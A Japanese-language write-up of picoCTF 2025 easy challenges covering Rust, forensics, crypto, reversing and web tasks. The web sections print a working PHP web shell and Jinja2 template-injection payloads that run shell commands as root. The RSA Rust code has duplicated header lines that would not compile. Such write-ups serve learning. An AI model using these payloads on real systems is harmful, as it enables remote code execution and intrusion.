Pico CTF 2025 [EASY]

  • x0rbyt3 によって
  • 12 分の読了時間
  • タグ: 
  • pico_ctf

picoCTF 2025 Level: Easy

「Rust fixme 1 : General Skills」

  • Description: Have you heard of Rust? Fix the syntax errors in this Rust file to print the flag!

指示に従って,シンタックスエラーを修正し実行すると Flag を入手

use xor_cryptor::XORCryptor;

fn main() {
    // Key for decryption
    let key = String::from("CSUCKS"); // How do we end statements in Rust?

    // Encrypted flag values
    let hex_values = [
        "41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",
        "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6",
        "50", "d3", "35",
    ];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values
        .iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    // Create decrpytion object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return; // How do we return in rust?
    }
    let xrc = res.unwrap();

    // Decrypt flag and print it out
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
    println!(
        "{:?}", // How do we print out a variable in the println function?
        String::from_utf8_lossy(&decrypted_buffer)
    );
}
$ cargo run
"picoCTF{4r3_y0u_4_ru$t4c30n_n0w?}"

「Rust fixme 2 : General Skills」

  • Description: The Rust saga continues? I ask you, can I borrow that, pleeeeeaaaasseeeee?

can I borrow thatと言っているため,Rust の所有権と借用に関する問題と推測
decrypt 関数の borrowed_string 引数を可変参照でで受け取り,main 関数の party_foul 変数を可変にした後,関数呼び出しを修正し Flag を入手

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
    // How do we pass values to a function that we want to change?

    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decrpytion object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return; // How do we return in rust?
    }
    let xrc = res.unwrap();

    // Decrypt flag and print it out
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
    borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
    println!("{}", borrowed_string);
}

fn main() {
    // Encrypted flag values
    let hex_values = [
        "41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",
        "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9",
        "42", "5b",
    ];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values
        .iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let mut party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable?
    decrypt(encrypted_buffer, &mut party_foul); // Is this the correct way to pass a value to a function so that it can be changed?
}
$ cargo run
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{4r3_y0u_h4v1n5_fun_y31?}

「Rust fixme 3 : General Skills」

  • Description: Have you heard of Rust? Fix the syntax errors in this Rust file to print the flag!

std::slice::from_raw_partsは unsafe ブロック内で実行することが求められるため,コメントを解除することで Flag を入手

use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decryption object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return;
    }
    let xrc = res.unwrap();

    // Did you know you have to do "unsafe operations in Rust?
    // https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html
    // Even though we have these memory safe languages, sometimes we need to do things outside of the rules
    // This is where unsafe rust comes in, something that is important to know about in order to keep things in perspective

    unsafe {
        // Decrypt the flag operations
        let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);

        // Creating a pointer
        let decrypted_ptr = decrypted_buffer.as_ptr();
        let decrypted_len = decrypted_buffer.len();

        // Unsafe operation: calling an unsafe function that dereferences a raw pointer
        let decrypted_slice = std::slice::from_raw_parts(decrypted_ptr, decrypted_len);

        borrowed_string.push_str(&String::from_utf8_lossy(decrypted_slice));
    }
    println!("{}", borrowed_string);
}

fn main() {
    // Encrypted flag values
    let hex_values = [
        "41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01",
        "35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3",
        "61", "f9", "35",
    ];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values
        .iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let mut party_foul = String::from("Using memory unsafe languages is a: ");
    decrypt(encrypted_buffer, &mut party_foul);
}
$ cargo run
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{n0w_y0uv3_f1x3d_1h3m_411}

「Ph4nt0m 1ntrud3r : Forensics」

  • Description: A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag. To solve this challenge, you’ll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder! Find the PCAP file here Network Traffic PCAP file and try to get the flag.

IP アドレス 192.168.0.2:20 のクライアントが,192.168.1.2:80 のサーバーに対して連続的に SYN パケットを再送信しています.
これは,侵入のためのフットプリンティングとしてステルススキャンを行っているが,ファイアウォールやポートが閉じていることでスキャンが失敗しているという状況であると考えられます.
時系列順にして内容を見てみると,Time: 0.002861 以降のパケット長さが連続的に 12||4 であり,ペイロードの末尾に base64 のパディングと思われる==の付いた値が存在します.
最後のパケットは len が 4 となっておりペイロードの 6 番セグメントを base64 デコードするとfQ===}となり flag フォーマットの末尾部分であると推測されます.

よって,以下のコマンドで Flag のセグメントを抽出・デコードし Flag を入手.

$ tshark -r myNetworkTraffic.pcap -Y "tcp.len==12 || tcp.len==4" -T fields -e frame.time_epoch -e tcp.segment_data | sort -k1n | awk '{print $2}' | xxd -p -r | base64 -d

picoCTF{1t_w4snt_th4t_34sy_tbh_4r_966d0bfb}

コマンドの概要

INFO

tshark: wireshark のコマンドライン版
-Y 'tcp.len==12 || tcp.len==4': tcp パケットの長さが 4 又は 12 であるものをフィルタリング
-e frame.time_epoch: time を UNIX Timestamp として出力
-e tcp.segment_data: tcp のペイロードを抽出
sort -k1n: 入力の 1 番目のフィールド(time)を基準にして数値としてソートする
awk '{print $1}': ソートされた出力から 2 番目(ペイロード)を抽出し,表示
xxd -p -r: 16 進数ダンプをバイナリに逆変換し,ASCII にマッピングし出力
base64 -d: base64 ASCII をデコード

「RED : Forensics」

  • Description: RED, RED, RED, RED

一面#FE0000に見えますが,カラーピッカーで確認してみると#FE0201等の異なるピクセルが散見されます.
これは,ステガノグラフィ(画像や映像,音声などに情報を隠すこと)の兆候であると考えました.
zsteg を利用して lsb を抽出してみると,ポエム?と base64 のような値が存在するため base64 デコードすると Flag が入手できました.

$ zsteg red.png --lsb
meta Poem           .. text: "Crimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke."
b1,rgba,lsb,xy      .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ=="
b2,g,lsb,xy         .. text: "ET@UETPETUUT@TUUTD@PDUDDDPE"
b2,rgb,lsb,xy       .. file: OpenPGP Secret Key
b2,rgba,lsb,xy      .. file: OpenPGP Secret Key
b2,abgr,lsb,xy      .. file: OpenPGP Secret Key
b4,b,lsb,xy         .. file: 0421 Alliant compact executable not stripped


zsteg red.png --lsb | grep -o -m1 '[A-Za-z0-9+/]\{20,\}==' | head -n1 | base64 -d
picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}
  • Description: Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe? Additional details will be available after launching your challenge instance.

インスタンスを起動し,サイトにアクセスするとログインページが表示されます.

試しに,admin:admin でログインしてみるとMe no need password. Me just need cookies!と表示されるため,Cookie を見に行ってみます.
Cookie:secret_recipe:cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0M0MzBBRTIwfQが設定されており,
base64 ぽいので無効な入力を避けるためパディング==を付与し base64 デコードすると,Flag が入手できました.

echo "cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0M0MzBBRTIwfQ==" | base64 -d
picoCTF{c00k1e_m0nster_l0ves_c00kies_C430AE20}

「EVEN RSA CAN BE BROKEN??? : Crypto」

  • Description: This service provides you an encrypted flag. Can you decrypt it with just N & e?
$ nc verbal-sleep.picoctf.net 61804

N: 21229056098572995666091658442653675810639229388748713168409971987954176145747273827391340667966354155785161336579637017370263919499586549578168238354987866
e: 65537
cyphertext: 20934298771247117505609568918706793628542750415555449937617570032603076523856809428500052843286319835113265220011676840814557811305291828798203792208326121
from sys import exit
from Crypto.Util.number import bytes_to_long, inverse
from setup import get_primes

e = 65537

def gen_key(k):
    """
    Generates RSA key with k bits
    """
    p,q = get_primes(k//2)
    N = p*q
    d = inverse(e, (p-1)*(q-1))

    return ((N,e), d)

def encrypt(pubkey, m):
    N,e = pubkey
    return pow(bytes_to_long(m.encode('utf-8')), e, N)

def main(flag):
    pubkey, _privkey = gen_key(1024)
    encrypted = encrypt(pubkey, flag)
    return (pubkey[0], encrypted)

if __name__ == "__main__":
    flag = open('flag.txt', 'r').read()
    flag = flag.strip()
    N, cypher  = main(flag)
    print("N:", N)
    print("e:", e)
    print("cyphertext:", cypher)
    exit()

N が複数回取得できるため,共通素因数攻撃を行います.

use num_bigint::{BigInt, BigUint, ToBigInt};
use num_integer::Integer;
use num_traits::{One, Zero};

fn main() {
use num_bigint::{BigInt, BigUint, ToBigInt};
use num_integer::Integer;
use num_traits::{One, Zero};

fn main() {
    // Nが複数回取得できる場合の共通素因数攻撃
    // 問題から得た複数セット n=2 (N, cyphertext, e)
    let ns = [
            BigUint::parse_bytes(b"17544778771822348050429696410055438429514470575819720805639684744939609825364506765170536205361565263430309206000067391957074313665324638138603006327871634", 10).unwrap(),
            BigUint::parse_bytes(b"21938361481059928734165968488305012588222240843706485279987007599409622494130177350586066216540997454546134097731495576753873314703158838158332892707709434", 10).unwrap(),
            ];
    let cyphertexts = [
            BigUint::parse_bytes(b"13366434090909550580240467019283403575303333197543836206966700213252472043238783869357070638958349128202613212796662365468107821180943921794049264034920007", 10).unwrap(),
            BigUint::parse_bytes(b"13548064608695948705724546750575737348039444165595448206325767477508828716937815907844584787745780233498172648736033407509896145989109039377408920719885165", 10).unwrap(),
            ];
    let e = BigUint::from(65537u32);

    // N同士のGCDを計算し,共通素因数pを探す
    for i in 0..ns.len() {
        for j in (i + 1)..ns.len() {
            let gcd = ns[i].gcd(&ns[j]);
            if gcd > BigUint::one() {
                // 共通素因数pが見つかった場合
                println!("N[{}]とN[{}]のGCD: {}", i, j, &gcd);
                // Nを素因数分解(N = p * q)
                let p = gcd.clone();
                let q = &ns[i] / &p;
                let n = &ns[i];
                let cyphertext = &cyphertexts[i];
                // φ(N)を計算
                let phi = (&p - BigUint::one()) * (&q - BigUint::one());

                // 秘密鍵dを計算
                fn modinv(a: &BigUint, m: &BigUint) -> Option<BigUint> {
                    let zero = BigInt::zero();
                    let one = BigInt::one();
                    let mut mn = (m.to_bigint().unwrap(), a.to_bigint().unwrap());
                    let mut xy = (zero.clone(), one.clone());
                    while mn.1 != zero {
                        let q = &mn.0 / &mn.1;
                        mn = (mn.1.clone(), &mn.0 - &q * &mn.1);
                        xy = (xy.1.clone(), &xy.0 - &q * &xy.1);
                    }
                    if mn.0 != one {
                        return None;
                    }
                    while xy.0 < zero {
                        xy.0 += m.to_bigint().unwrap();
                    }
                    Some(xy.0.to_biguint().unwrap())
                }

                let d = modinv(&e, &phi).expect("inverse not found");
                // 復号(m = pow(cyphertext, d, n))
                let m = cyphertext.modpow(&d, n);
                let bytes = m.to_bytes_be();
                // ASCII文字のみ抽出して表示
                let ascii: String = bytes
                    .iter()
                    .filter(|&&b| (0x20..=0x7E).contains(&b))
                    .map(|&b| b as char)
                    .collect();
                println!("ASCII復号結果: {}", ascii);
            }
        }
    }
}

Flag を入手することができました.

$ cargo run

N[0]とN[1]のGCD: 2
ASCII復号結果: picoCTF{tw0_1$_pr!m3df98b648}

「FANTASY CTF : General Skills」

  • Description: Play this short game to get familiar with terminal applications and some of the most important rules in scope for picoCTF. Additional details will be available after launching your challenge instance.

インスタンスに接続し選択肢に従うと,Flag を入手

END OF FANTASY CTF SIMULATION
Thank you for playing! To reemphasize some rules for this year:
1. Register only one account.
2. Do not share accounts, flags or artifact downloads.
3. Wait to publish writeups publicly until after the organizers announce the
winners.
4. picoCTF{m1113n1um_3d1710n_3b6c6fab} is a real flag! Submit it for some
points in picoCTF 2025!

「Flag Hunters : Reverse Engineering」

  • Description: Lyrics jump from verses to the refrain kind of like a subroutine call. There’s a hidden refrain this program doesn’t print by default. Can you get it to print it? There might be something in it for you. The program’s source code can be downloaded here.

  • lyric-reader.py

import re
import time

# ファイルからフラグ文字列を読み取る
flag = open('flag.txt', 'r').read()

# 歌詞の冒頭部分*フラグを埋め込み)
secret_intro = \
'''Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, '''\
+ flag + '\n'

# 全体の歌詞(歌詞の中で REFRAIN や RETURN など制御記号を利用)
song_flag_hunters = secret_intro +\
'''

[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
CROWD (Singalong here!);
RETURN

[VERSE1]
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?

REFRAIN;

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

REFRAIN;

Binary sorcerers, let’s tear it apart,
Disassemble the code to reveal the dark heart.
From opcode to logic, tracing each line,
Emulate and break it, this key will be mine.
Debugging the maze, and I see through the deceit,
Patch it up right, and watch the lock release.

REFRAIN;

Ciphertext tumbling, breaking the spin,
Feistel or AES, we’re destined to win.
Frequency, padding, primes on the run,
Vigenère, RSA, cracking them for fun.
Shift the letters, matrices fall,
Decrypt that flag and hear the ether call.

REFRAIN;

SQL injection, XSS flow,
Map the backend out, let the database show.
Inspecting each cookie, fiddler in the fight,
Capturing requests, push the payload just right.
HTML's secrets, backdoors unlocked,
In the world wide labyrinth, we’re never lost.

REFRAIN;

Stack's overflowing, breaking the chain,
ROP gadget wizardry, ride it to fame.
Heap spray in silence, memory's plight,
Race the condition, crash it just right.
Shellcode ready, smashing the frame,
Control the instruction, flags call my name.

REFRAIN;

END;
'''

# 出力する行数の上限
MAX_LINES = 100

# 歌詞を逐次的に読み取り・表示する関数
def reader(song, startLabel):
  lip = 0               # 現在の行位置
  start = 0             # 開始位置
  refrain = 0           # REFRAIN ブロックの位置
  refrain_return = 0    # RETURN で戻る位置
  finished = False      # 終了フラグ

  # 歌詞を1行ずつリスト化
  song_lines = song.splitlines()

  # 開始ラベルやリフレイン位置を検索
  for i in range(0, len(song_lines)):
    if song_lines[i] == startLabel:
      start = i + 1
    elif song_lines[i] == '[REFRAIN]':
      refrain = i + 1
    elif song_lines[i] == 'RETURN':
      refrain_return = i

  # 歌詞を1行ずつ処理して表示
  line_count = 0
  lip = start
  while not finished and line_count < MAX_LINES:
    line_count += 1
    # 行内にセミコロンがある場合は分割処理(複数命令を順次実行)
    for line in song_lines[lip].split(';'):
      if line == '' and song_lines[lip] != '':
        # 空行はスキップ
        continue
      if line == 'REFRAIN':
        # REFRAIN が出たらリフレイン位置にジャンプ
        # RETURN に現在位置を覚えさせる
        song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
        lip = refrain
      elif re.match(r"CROWD.*", line):
        # CROWD が出たらユーザー入力を要求
        crowd = input('Crowd: ')
        song_lines[lip] = 'Crowd: ' + crowd
        lip += 1
      elif re.match(r"RETURN [0-9]+", line):
        # RETURN が出たら指定行に戻る
        lip = int(line.split()[1])
      elif line == 'END':
        # END で終了
        finished = True
      else:
        # 普通の歌詞行を出力
        print(line, flush=True)
        time.sleep(0.5)  # 表示間隔を0.5秒あける
        lip += 1


# '[VERSE1]' から歌を再生開始
reader(song_flag_hunters, '[VERSE1]')

歌詞の中に flag が組み込まれるので,コードの実行中に必ず出力される可能性があることが分かりました.
また,この歌詞パーサはセミコロン;を区切り文字として認識しています.
つまり,ユーザーが Crowd: 入力で ;RETURN 0;END を入れると,その入力が 次の命令として実行される設計(CROWD 入力から任意のジャンプを仕込める)となっています.
この脆弱性を使用して,制御フローの改竄を行い Flag を表示させます.

攻撃フロー: ;RETURN 0を入力し,プログラムが歌詞の冒頭(secret_intro を含む)から再実行され,組み込まれた Flag が標準出力に表示される.

これで,Flag を入手することができました.

$ nc verbal-sleep.picoctf.net 61023

Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?

We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: ;RETURN 0 <--- ここで制御フローインジェクションを行う

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}


[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}


[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}


[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}


[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}


[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}


[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:

「hashcrack : Cryptography」

  • Description: A company stored a secret message on a server which got breached due to the admin using weakly hashed passwords. Can you gain access to the secret stored within the server?

ある企業がサーバーに秘密メッセージを保存していたが,管理者が脆弱なハッシュ処理のパスワードを使用していたためサーバーが侵害された. このサーバー内に保存された秘密情報にアクセスできるか?という問題です.

サーバーにアクセスした際に表示されるハッシュをCrackStationを用いてクラックします.
アルゴリズムがmd5でパスワードがpassword123であることが分かりました.
次のハッシュでも同様にクラックします.

  1. md5: password123
  2. sha1: letmein
  3. sha256: qwerty098

これで,Flag を入手しました.

$ nc verbal-sleep.picoctf.net 64927

Welcome!! Looking For the Secret?

We have identified a hash: 482c811da5d5b4bc6d497ffa98491e38
Enter the password for identified hash: password123
Correct! You've cracked the MD5 hash with no secret found!

Flag is yet to be revealed!! Crack this hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3
Enter the password for the identified hash: letmein
Correct! You've cracked the SHA-1 hash with no secret found!

Almost there!! Crack this hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745
Enter the password for the identified hash: qwerty098
Correct! You've cracked the SHA-256 hash with a secret found.
The flag is: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_ccc21957}

「head-dump : Web Exploitation」

INFOMATION

このインスタンスは,メンテナンス中です.[2025/09/09 時点]

「n0s4n1ty 1 : Web Exploitation」

  • Description: A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.

開発者がウェブサイトにプロフィール画像のアップロード機能を追加したが,実装に欠陥がある.
ファイルアップロード領域を見つけ出すことがあなたの任務であり,最終目標は,/root ディレクトリ内に隠されたフラグを発見すること.

サイトにアクセスすると,プロフィール画像ファイルのアップロードフォームが表示されます.
ソースコードを確認しても特に何もないため,ディレクトリ探索を行います.

$ gobuster dir -u http://standard-pizzas.picoctf.net:60672 -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://standard-pizzas.picoctf.net:60672
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 295]
/.htpasswd            (Status: 403) [Size: 295]
/.htaccess            (Status: 403) [Size: 295]
/index.php            (Status: 200) [Size: 1908]
/server-status        (Status: 403) [Size: 295]
/uploads              (Status: 301) [Size: 353] [--> http://standard-pizzas.picoctf.net:60672/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

/uploadsが存在することが分かったため,試しに webshellshell.phpをアップロードしwhoamiで動作を確認します.

  • shell.php
<?php system($_GET['cmd']); ?>

sudo -lの出力では,www ユーザーは完全な管理者権限を持っているため,そのまま Flag を入手できました.

http://standard-pizzas.picoctf.net:52195/uploads/shell.php?cmd=whoami
www

http://standard-pizzas.picoctf.net:52195/uploads/shell.php?cmd=sudo%20-l
Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALL

http://standard-pizzas.picoctf.net:52195/uploads/shell.php?cmd=sudo%20ls%20/root
flag.txt

http://standard-pizzas.picoctf.net:52195/uploads/shell.php?cmd=sudo%20ls%20/root/flag.txt
picoCTF{wh47_c4n_u_d0_wPHP_56060bd8}

「PIE TIME : Binary Exploitation」

  • Description: Can you try to get the flag? Beware we have PIE!

PIE(Position Independent Executable)があると言っており,checksec の出力でも enabled になっているため,実行ごとにベースアドレスがランダム化されます.

$ checksec --file=vuln

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   78 Symbols        No    0               1               vuln

vuln.cでは,任意のアドレスを入力すればそのアドレスにジャンプできるように設計されています.
ので,win 関数のアドレスを調べそのアドレスに飛ぶことができれば,フラグを入手できると考えました.

  • vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

// Segment Fault
void segfault_handler()
{
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

// 攻撃成功
int win()
{
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
    printf("Cannot open file.\n");
    exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
    printf("%c", c);
    c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main()
{
  signal(SIGSEGV, segfault_handler);
  // 標準出力のバッファリングを無効化(即時出力)
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  // 実行したいアドレスをユーザに入力させる
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val); // 16進数の数値を unsigned long として読み込む
  printf("Your input: %lx\n", val);

  // 入力された数値を関数ポインタにキャスト
  void (*foo)(void) = (void (*)())val;

  // 入力されたアドレスへジャンプ(未定義動作が起こる可能性が高い呼び出し)
  foo();
}

まずは,win 関数のアドレスを調べます.
アドレスが 0x12a7 であることが分かりました.
実際の win アドレス = バイナリのロードベース + オフセット(バイナリのロードベース = main のアドレス - main のオフセット)で求まるので,この式で win アドレスが求まります.
これで,Flag を入手できました.

$ nm vuln | grep main
000000000000133d T main <--- main オフセット 0x133d
$ nm vuln | grep win
00000000000012a7 T win <--- win オフセット 0x12a7

$ nc rescued-float.picoctf.net 61965

Address of main: 0x588d558e133d <--- 実行時 main アドレス
Enter the address to jump to, ex => 0x12345: 0x588d558e12a7
Your input: 588d558e12a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_801240da}

python で win アドレス求める

main_runtime = 0x588d558e133d
main_offset  = 0x133d
win_offset   = 0x12a7

base = main_runtime - main_offset
win_addr = base + win_offset
print(hex(win_addr)) # ---> 0x588d558e12a7

「SSTI1 : Web Exploitation」

  • Description: I made a cool website where you can announce whatever you want! Try it out!

SSTI というタイトルから,SSTI(Server Side Template Injection)である可能性を考えます.
これは,Web アプリケーションでテンプレートエンジンを使うときに起きる脆弱性であり,ユーザー入力を安全にエスケープせずにテンプレートに埋め込むことで発生します,
攻撃者はテンプレート構文を直接注入しサーバー上でコードを実行できる可能性があります.

SSTI が通るかを確認するために,{{7*7}}を埋め込みましたが49がレスポンスされ SSTI 脆弱性が存在することが分かりました.
また,Jinja2 で動作していることも確認出来ました.

いろいろとペイロードを試行錯誤していたら,{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
だと通ることが確認できたため,flag のパスを確認して,cat すると Flag を入手できました.

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
uid=0(root) gid=0(root) groups=0(root)

{{ request.application.__globals__.__builtins__.__import__('os').popen('ls').read() }}
__pycache__ app.py flag requirements.txt

{{ request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read() }}
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_bdc95c1a}

これで,Easy の全ての攻略が完了しました.